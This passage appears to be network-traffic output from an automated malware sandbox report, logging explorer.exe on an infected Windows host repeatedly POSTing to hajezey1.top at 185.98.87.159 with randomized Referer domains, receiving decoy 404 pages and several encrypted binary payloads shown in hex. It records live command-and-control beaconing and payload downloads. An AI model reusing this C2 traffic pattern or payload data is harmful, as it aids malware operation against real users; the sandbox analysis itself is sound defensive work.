98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 
39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d 
d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f 
cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 
7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 
27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 
62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 
7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 
46 e5 
Data Ascii: 1f66S(SW\/iP"&&grq|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8|!@+%gt#+xQ<2P0YObyT=a'4 YU\nIXKg[Ge92)g 
z6@E}Wp0Mk"HI?o|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy_:-nD%GkKm@NQ>[J8-w,v"JG0Z"?kQTJMQId%\s$&Q#F<pvA
>C/CbGB4VFv2Bbo;6HPgyPum6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`|PTZ3z[ ^z&+(l%yw*C=;5"No?hs
#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG
:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

16 192.168.2.6 49779 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:20.480714083 CEST

2247 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fpdmgcvxb.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 221
Host: hajezey1.top

Oct 29, 2021 
17:55:20.562592983 CEST

2249 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:20 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

17 192.168.2.6 49782 185.98.87.159 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:20.662900925 CEST

2256 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fxurvqy.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 336
Host: hajezey1.top

Oct 29, 2021 
17:55:20.746149063 CEST

2271 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:20 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

18 192.168.2.6 49784 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:20.847351074 CEST

2335 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vlsulvkdg.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 146
Host: hajezey1.top

Oct 29, 2021 
17:55:20.931469917 CEST

2337 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:20 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

19 192.168.2.6 49785 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:21.028136969 CEST

2338 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://cwdaqy.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 260
Host: hajezey1.top
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Oct 29, 2021 
17:55:21.112776995 CEST

2340 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 
8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 
e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 81 71 e5 77 8f 8c f5 cf 9b 2b 25 9b 
f6 ba c9 1b b0 1c 67 74 d2 a5 98 87 cd 2b 80 78 51 a1 a2 8f bc 82 df 1c e0 32 02 50 08 88 d8 e2 30 a5 59 93 9b b7 4f f3 
e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 01 82 20 59 55 11 5c 2c 34 67 ab 49 11 a0 c8 58 4b 67 13 
d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 01 75 cb 8a 40 d8 06 0e 45 07 13 7d 
7b f9 e0 04 89 f9 d4 57 80 90 70 89 ec be 4a 6b 0e e1 a2 22 48 92 d2 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 
b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 
9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 53 68 58 96 da 19 
d1 3a 2d e8 43 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 65 85 4a 04 38 ad 
7f 14 2c d0 e8 b1 14 23 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 62 
41 64 cd 25 5c 8d b7 f5 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 
47 42 75 8d b5 be 34 56 9b 46 76 99 86 11 00 83 32 42 92 51 ce ae b8 6b 95 36 e1 48 52 67 76 50 b8 81 f6 bc 81 de bb 
6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 
b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 
25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 
3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 
8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 
3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 
06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 
bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 
34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 
3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 
9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 
7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 
27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 
62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 
7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 
46 e5 
Data Ascii: 1f66S(SW\/iP"&&grq|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8|qw+%gt+xQ2P0YObyT=a'4 YU\,4gIXKg[Ge92)g 
z6u@E}{WpJk"HI?o|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyShX:-C%GkKm@NQ>[eJ8,#q"JG0Z"?kQTJMQbAd%\#&Q#F<p
vA>C/CbGBu4VFv2BQk6HRgvPnj6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`|PTZ3z[ ^z&+(l%yw*C=;5"No?
hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'
bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.6 49815 81.177.141.36 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

20 192.168.2.6 49795 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:22.926029921 CEST

2468 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://llaraxn.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 193
Host: hajezey1.top
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Oct 29, 2021 
17:55:23.006124973 CEST

2481 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:22 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

21 192.168.2.6 49797 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:23.598228931 CEST

2686 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://jibms.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 344
Host: hajezey1.top

Oct 29, 2021 
17:55:23.680356979 CEST

2687 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:23 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 
8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 
e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 
16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 
e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 
d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f 
ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 
b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 
9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 
d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 
7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 
41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 
47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 
6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 
b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 
24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 
6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 
28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce 
ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c 
da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 
86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 
8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 
0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d 
d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 
87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 56 3b 38 a6 15 e4 c6 ce 
a9 22 27 90 32 fb 10 df b7 b7 c8 10 46 15 b1 97 4c c3 f9 8c e2 58 e9 9c b7 3d ef ce 38 1f c1 19 39 ec a8 01 8f 44 ea 9b bf 
6e c0 53 5b 76 cb c4 bd 8f 46 84 7f 9c b8 6a f7 5b 61 67 85 1a aa 50 f1 33 0d 4d 9e 1f ed 23 97 05 42 e0 c9 1c 9c 4a be 
99 95 43 d2 7c 6c b8 4f 4e 7d bb ad 45 43 37 86 96 3f d8 a1 f7 94 8f c9 3b cb 53 94 6d 9b 3d 70 e0 53 08 55 42 da 49 3b 
b1 85 2c 03 39 
Data Ascii: 1f66S(SW\/iP"&&grq|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RY8|-:+%Wt#xQP0ObyT=a'4 YW\|;fKMXKw[Ge
)29E"|6N}oczUpJk"HBI?m|6NI^LdU[0zU5=PoV`GZdQJVqu~dwy'$X9:-C'GkKm1`#>[qJ8-,sqK0Z"?+QzJMQAd'\#&Q#2YBA6
?C/fGB%4VF>"7"h*6VPgt 4k6'NGc:HNDP8W%WbJ}Tzl9\@nGL"}b1@$@N!;KnGA_OW`kg";kz{},zHB(yw+;5lo?h
s#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59V;8"'2FLX
=89DnS[vFj[agP3M#BJC|lON}EC7?;Sm=pSUBI;,9

Session ID Source IP Source Port Destination IP Destination Port Process

22 192.168.2.6 49810 185.98.87.159 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:27.683465958 CEST

4474 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://mowuyooy.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 257
Host: hajezey1.top

Oct 29, 2021 
17:55:27.762223005 CEST

4477 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
